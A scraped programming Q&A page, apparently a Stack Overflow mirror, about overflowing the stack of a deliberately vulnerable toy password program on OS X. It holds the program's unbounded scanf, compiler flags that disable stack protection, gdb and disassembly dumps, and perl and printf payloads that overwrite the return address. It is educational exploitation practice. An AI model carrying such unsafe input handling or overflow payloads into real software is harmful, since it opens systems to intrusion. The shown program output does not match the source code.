I'm having trouble figuring out how to disable stack protection on OS X 10.10.5 (Yosemite). I've sort of been cobbling together promising gcc flags from various threads online, but as of yet haven't managed to disable the protection. I am currently compiling my program with:
gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -fno-sanitize=address -D_FORTIFY_SOURCE=0 -Wl,-no_pie -o program program.c
But when I try to smash the stack I segfault.
I have tried the same program on Red Hat Enterprise Linux Server 7.2 (Maipo), and after adjusting for memory address differences where appropriate, have had no problems smashing the stack after compiling with:
gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -o program program.c
It's also probably worth noting that, as on most Macs, gcc on my machine is a symlink to clang (Apple LLVM version 7.0.0 (clang-700.0.72)).
How can I disable Yosemite's stack protection?
The dummy program I'm working with is:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int authenticate() {
char password[10];
printf("Enter password: ");
scanf("%s", password);
return strcmp(password, "1234567890") == 0;
}
void success() {
printf("Access granted\n");
exit(0);
}
void failure() {
printf("Access denied\n");
exit(1);
}
int main(int argc, char** argv) {
if (authenticate()) {
success();
} else {
failure();
}
}
When I run otool -tv program
, I note the following:
The success
routine to which I want to jump is at address 0x00001e70
.
The instruction to which we would normally return after authenticate
is at address 0x00001efe
.
When I run gdb
after entering the dummy password "xxxxxxxxxx" and inspecting the buffer with x/30xb &password
, I observe:
0xbffffc32: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78
0xbffffc3a: 0x78 0x78 0x00 0x00 0x00 0x00 0x00 0x00
0xbffffc42: 0x00 0x00 0xfc 0xfc 0xff 0xbf 0x68 0xfc
0xbffffc4a: 0xff 0xbf 0xfe 0x1e 0x00 0x00
We want to overwrite the 27th 0xfe
byte to be 0x70
.
When I try to smash the stack as follows:
printf "xxxxxxxxxxxxxxxxxxxxxxxxxx\x70" | ./program # 26 bytes of junk, followed by 0x70
I get a segfault.
The OS X ABI requires that system calls (such as the one to exit
in success
) be issued from a 16-byte-aligned stack. When you jump into success, you get off by 4 bytes because it doesn't have another return address sitting on the stack (ie, you're supposed to call
the function)
The fix for this is to jump to a call to success
in a higher stack frame. Jumping to the one in main works for me:
(gdb) disas main
Dump of assembler code for function main:
0x00001ed0 <+0>: push %ebp
0x00001ed1 <+1>: mov %esp,%ebp
0x00001ed3 <+3>: sub $0x18,%esp
0x00001ed6 <+6>: mov 0xc(%ebp),%eax
0x00001ed9 <+9>: mov 0x8(%ebp),%ecx
0x00001edc <+12>: movl $0x0,-0x4(%ebp)
0x00001ee3 <+19>: mov %ecx,-0x8(%ebp)
0x00001ee6 <+22>: mov %eax,-0xc(%ebp)
0x00001ee9 <+25>: call 0x1df0 <authenticate>
0x00001eee <+30>: cmp $0x0,%eax
0x00001ef1 <+33>: je 0x1f01 <main+49>
0x00001ef7 <+39>: call 0x1e60 <success>
0x00001efc <+44>: jmp 0x1f06 <main+54>
0x00001f01 <+49>: call 0x1e90 <failure>
0x00001f06 <+54>: mov -0x4(%ebp),%eax
0x00001f09 <+57>: add $0x18,%esp
0x00001f0c <+60>: pop %ebp
0x00001f0d <+61>: ret
Then return to the call 0x1ef7
instruction:
$ perl -e 'print "P"x26, "\xf7\x1e"' | ./stack
Enter password: Root access has been granted
$
The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.